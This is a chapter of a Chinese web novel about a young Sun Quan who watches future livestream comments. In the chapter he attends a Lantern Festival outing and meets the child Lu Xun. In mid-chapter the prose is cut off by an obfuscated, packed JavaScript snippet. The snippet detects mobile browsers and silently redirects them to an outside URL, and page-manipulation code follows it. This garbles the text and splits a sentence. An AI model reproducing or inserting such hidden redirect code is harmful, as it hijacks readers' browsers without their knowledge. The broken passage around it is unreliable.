32. 第 32 章

作品:《【三国】江东无鼠辈

    许豕之事过后,吴夫人说什么也不肯让孙权再踏出府门半步。去庐江书院读书之前,他便只能在家静思己过,哪儿也不许去。


    其实,就算吴夫人不说,孙权也哪都不想去。


    自从知道兄长孙策未来会死于许贡门客之手,孙权便开始打听许贡是何许人也。


    许贡,现任吴郡都尉,此人出身吴郡本土豪族,在地方上根基深厚,门下蓄养的门客、部曲甚众。坊间对其风评颇为一致——行事狠辣,睚眦必报,不可得罪。


    孙权看着收集到的关于许贡的信息,眉头不自觉地微微蹙起。


    许豕自称是许贡之侄,此事真伪难辨。但兄长此番将许豕父子直接绑送吴郡,无疑是当众打了许贡的脸,以坊间对许贡“睚眦必报”的风评来看,孙家恐怕已被这位吴郡都尉牢牢记恨上了。


    许贡此人断不可留!


    杀意自心头掠过时,孙权自己都未曾察觉,他的心性已经越来越不像一个年仅四岁的孩童了。


    日子便这般过着,直到元月十五,上元。


    上元节,舒县依循旧例,弛禁三日。这一日,天光尚未完全收尽,寺观的檐角下、祠庙的门廊前,灯火已一处处亮了起来,官宦人家的门楣上,也早早悬起了明亮的灯烛。


    长街上,渐次有了提灯走动的人影,暖黄的光晕在薄暮的蓝灰底色中,星星点点地漾开,连晚风都仿佛浸透了松脂与蜜蜡温润的气息,整座舒城,缓缓沉入一种久违的、令人微醺的松弛与暖意里。


    孙府。


    “公瑾、子翼?今日怎么得空过来?”


    孙策见周瑜与蒋干一同来访,忙放下手中简牍,起身相迎。这两日程普、韩当皆归家过节,他便也未出门习武,只在家中温书。


    庐江书院治学素严,每岁开讲,李公必先考校诸生,以观课业可有荒疏。


    今年仲谋也要入学,他这个做兄长的,无论如何都不能在弟弟面前丢了颜面。


    周瑜道出来意:“今日上元,舒城有灯会,盛况难得,你我半月未见,不若同去散心?”


    “灯会?”孙策眉峰微挑,兴致寥寥,“那都是妇人孩童才喜凑的热闹,人声嘈杂,无趣得紧。”


    周瑜早有所料,从容一笑,将话带到孙权身上:“伯符不喜热闹,那仲谋呢?听闻他前番在外,被一伙狂徒堵截,受了场惊吓?又在家中拘了这些时日,少年心性,想必正闷得慌。何不借这上元佳节,带他出去走走,看看灯火,疏散心中郁结?


    孙策目光微微一动。


    周瑜的话说到他心坎上了,弟弟前几日受了惊,又被母亲要求静思读书,这些天闷在府里,是该出去透透气。


    这念头一起,他便按捺不住,对周瑜二人道:“你们稍坐,我这就去请示母亲。”


    吴夫人本就只是想让孙权在家静心,并非真要以禁足责罚。周瑜与蒋干都是李公门下出色的弟子,品性端方,行事稳重,有他们同行看顾,加上随从护卫,想来出不了什么岔子,便点头应允了。


    得了母亲首肯,孙策转身便快步朝孙权院子走去。


    刚到院门,便见里头颇为热闹:施然、大乔、小乔都在。小乔捧着一碟甜糕,吃得两腮鼓鼓,发髻上两个小丸子随着咀嚼轻轻晃动,模样娇憨可爱。大乔则安静坐在窗边光影里,手里拈着绣针,正专注地在锦帕上勾勒几缕花枝的雏形。孙权与施然对坐在案前,正低声讨论着书简上的文句。


    孙策扬声便问:“仲谋,可要去看灯会?”他目光扫过屋内其余几人,笑道:“桥家妹妹们、义封,你们也一同去?”


    施然见孙权他们都有了表字,又想到自己即将去庐江书院读书,便也向朱治央求,想有个字。


    朱治起先觉得,取字是父母之责,理应由他在老家的姐姐、姐夫做主。但转念一想,施然马上就要进学,李公门下即便是蒙学班,往来也多是世家子弟,若没有表字,称呼上确实不便,于交际也有碍。于是,他修书一封,将缘由告知施然的父母,言明情况,先为这孩子起了个字。


    如今的施然,表字,义封。


    “好呀!”小乔和施然相继雀跃应声。


    大乔闻言,只抬眼望向孙策,虽未开口,但手里的绣品却是被她放到了一边。


    孙权也抬头,眼睛亮了亮:“兄长,可否叫上吕蒙?”


    得到应允后,夜游的队伍一下子就壮大到了八人。


    正厅里,周瑜看到这庞大的队伍,心念微转,又提议道:“伯远前日似乎已从吴郡归来,他家离此不远。既如此热闹,不如也邀他同行?”


    陆儁(jun),字伯远,与孙策、周瑜同年,皆是庐江书院的同窗。陆儁乃庐江太守陆康之子,出身显赫,身上却无半分纨绔习气,又待人谦和温润,行事低调沉稳,在同侪中素有雅望。


    陆太守家距离孙府也不远,正好顺路。


    众人至陆府相邀,陆儁果然欣然应允,却道:“承蒙诸位盛情,儁却有个不情之请。我堂侄陆逊,今年亦只三岁,因其父新丧,现由家父接来抚养。这孩子心绪沉郁,不知……可否带他同去,也好让他藉此灯火,稍解愁怀?”


    说着,便唤了一个孩童出来。


    那孩子比孙权还要小一岁,身量却和孙权差不多高,站得笔直如修竹。他生得极为清俊,眉眼如墨画,肤色白皙,虽因丧父之痛而眉宇间凝着淡淡的郁色,神情沉静,却自有一股与年龄不符的端正气度,宛如玉璧初琢,已见温润光华。


    周瑜笑道:“巧极。伯符带着仲谋,你带着你堂侄,两位小公子年岁相仿,正好彼此作伴。”


    今日是上元节,直播间一早便说了今天会晚些开播,就在陆儁介绍陆逊的时候,直播间适时亮起。


    【这小正太是陆逊啊,东吴第四任大都督!】


    【这就是夷陵之战火烧连营、把刘备打崩的儒帅?小时候就这么清俊了?!不敢想长大了得多帅!】


    【原来这个时候陆逊和孙权就已经认识了啊,那也算得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943329|191352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上发小了,怎么后面闹到被孙权逼死……】


    【何止逼死,史书可是明明白白写着,是被孙权一连串使者上门骂,活活气病、忧愤而亡的,怎一个惨字了得。】


    【孙权晚年做得那些事实在看不懂,明明年轻的时候还是“年少万兜鍪,坐断东南战未休”被曹操感慨“生子当如孙仲谋的”,晚年就成鼠辈了。】


    【东吴大都督这位置有毒,三个早逝,一个被猜忌死,就没一个能善终。】


    【三国时期瘟疫频发,很多名臣良将的死因后面都有瘟疫的影子,也没办法,这个时候的医疗条件实在太差了。】


    如今的孙权,早已能面对这些剧透弹幕而面不改色,看到“年少万兜鍪,坐断东南战未休”这句诗暗爽了一会儿后,孙权才看向眼前才三岁的陆逊。


    就是他未来的第四任大都督?


    已知第一任大都督是周瑜,第二任不详,第三任是吕蒙,最后一个陆逊被自己猜忌死了。


    “第二任大都督,究竟是谁?”


    “前三任……都早逝了?因为瘟疫?还有,三国?”


    这是孙权第一次在弹幕上看到三国这个字眼,此前,无论主播还是观众,谈论的皆是东汉末年。


    他虽早有预感大汉天命将倾,却未曾料到,天下会被一分为三。


    东吴想必便是他孙家了。那另外两国,究竟是谁?曹操又是谁?


    自从前一次他发送成功一次弹幕后,发送那个按钮就彻底暗了下去,至今都无法再发送任何内容,似乎是他和未来互动后,引来了某种未知力量的修正。


    孙权行事愈发谨慎,在直播间面前尽量保证自己不露出异常。


    一行人中,陆儁身为庐江太守之子,地位颇高,直接在舒县最好的酒楼“望云阁”包下雅间。


    众人凭栏而坐,舒县夜景尽收眼底。长街如河,万千灯火流淌其间,汇成一片温暖璀璨的光海。


    四个年岁相仿的孩童,孙权、施然、大乔、小乔兴致勃勃地挤到窗边,几个孩子都趴在了窗栏上,目不转睛地望着楼下蜿蜒流动的灯河。


    吕蒙安静地立在孙权身后半步的位置,就当自己是个恪守本分的随从。


    孙权却忽然回身,不由分说地一把将他揽到窗前:“吕蒙,你站那么远做什么?快过来一起看!”


    五个小脑袋顿时凑到了一处。


    吕蒙身体一僵,很是不自在。可他终究也只是个八岁的少年,平日再如何老成持重,在这满城欢庆、暖光摇曳的佳节夜里,他那双黝黑深邃,少见情绪波动的眼眸里,终于也渐渐染上了橘色灯火的光晕。


    陆逊年仅三岁,却已过早地体味了生死离别。即便跟着堂叔出来散心,眉宇间也始终笼着一层与年龄不符的沉寂,显得怏怏寡欢。


    当孙权他们雀跃地簇拥到窗前观灯时,他并不上前,只是安静地站在堂叔陆儁身侧,目光偶尔掠过窗外的绚烂,却仿佛隔着一层看不见的薄雾,热闹是别人的,与他无关。